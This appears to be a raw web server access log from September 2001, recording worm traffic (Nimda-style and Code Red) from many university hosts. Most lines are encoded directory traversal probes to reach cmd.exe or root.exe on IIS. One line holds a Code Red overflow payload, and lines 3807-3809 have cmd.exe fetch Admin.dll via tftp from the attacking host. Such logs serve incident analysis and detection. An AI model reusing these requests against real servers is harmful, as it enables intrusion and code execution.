  3806. 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3807. 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3808. 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3809. 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3810. 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../Admin.dll HTTP/1.0"
  3811. 20010918 13:51:34: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3812. 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3813. 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3814. 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3815. 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3816. 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3817. 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3818. 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3819. 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3820. 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3821. 20010918 13:52:16: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3822. 20010918 13:52:17: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3823. 20010918 13:52:17: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3824. 20010918 13:52:17: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3825. 20010918 13:52:17: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3826. 20010918 13:52:17: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3827. 20010918 13:52:17: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3828. 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3829. 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3830. 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3831. 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3832. 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3833. 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3834. 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3835. 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3836. 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3837. 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3838. 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3839. 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3840. 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3841. 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3842. 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3843. 20010918 13:55:25: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3844. 20010918 13:56:43: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3845. 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3846. 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3847. 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3848. 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3849. 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3850. 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3851. 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3852. 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3853. 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3854. 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3855. 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3856. 20010918 13:56:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3857. 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3858. 20010918 13:56:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3859. 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3860. 20010918 13:56:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3861. 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3862. 20010918 13:56:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3863. 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3864. 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3865. 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3866. 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3867. 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3868. 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3869. 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3870. 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3871. 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3872. 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3873. 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3874. 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3875. 20010918 13:56:46: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3876. 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3877. 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3878. 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3879. 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3880. 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3881. 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3882. 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3883. 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3884. 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3885. 20010918 13:57:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3886. 20010918 13:57:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3887. 20010918 13:57:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3888. 20010918 13:57:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3889. 20010918 13:57:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3890. 20010918 13:57:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3891. 20010918 13:57:11: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3892. 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3893. 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3894. 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3895. 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3896. 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3897. 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3898. 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3899. 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3900. 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3901. 20010918 13:57:47: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3902. 20010918 13:57:48: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3903. 20010918 13:57:49: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3904. 20010918 13:57:49: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3905. 20010918 13:57:49: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3906. 20010918 13:57:50: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3907. 20010918 13:57:50: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3908. 20010918 13:59:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3909. 20010918 13:59:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3910. 20010918 13:59:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3911. 20010918 13:59:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3912. 20010918 13:59:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3913. 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3914. 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3915. 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3916. 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3917. 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3918. 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3919. 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3920. 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3921. 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3922. 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3923. 20010918 13:59:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3924. 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3925. 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3926. 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3927. 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3928. 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3929. 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3930. 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3931. 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3932. 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3933. 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3934. 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3935. 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3936. 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3937. 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3938. 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3939. 20010918 14:02:44: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  3940. 20010918 14:03:12: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3941. 20010918 14:04:37: wdby84-41.Colorado.EDU [128.138.84.41] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3942. 20010918 14:04:37: wdby84-41.Colorado.EDU [128.138.84.41] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3943. 20010918 14:04:37: wdby84-41.Colorado.EDU [128.138.84.41] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3944. 20010918 14:04:37: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3945. 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3946. 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3947. 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3948. 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3949. 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3950. 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3951. 20010918 14:04:39: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3952. 20010918 14:04:39: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3953. 20010918 14:04:39: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3954. 20010918 14:04:39: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3955. 20010918 14:04:39: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3956. 20010918 14:04:39: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3957. 20010918 14:04:51: intradoc.law.utoronto.ca [128.100.167.60] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3958. 20010918 14:04:51: intradoc.law.utoronto.ca [128.100.167.60] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3959. 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3960. 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3961. 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3962. 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3963. 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3964. 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3965. 20010918 14:04:53: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3966. 20010918 14:04:53: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3967. 20010918 14:04:53: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3968. 20010918 14:04:53: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3969. 20010918 14:04:54: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3970. 20010918 14:04:54: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3971. 20010918 14:04:54: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3972. 20010918 14:04:54: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3973. 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3974. 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3975. 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3976. 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3977. 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3978. 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
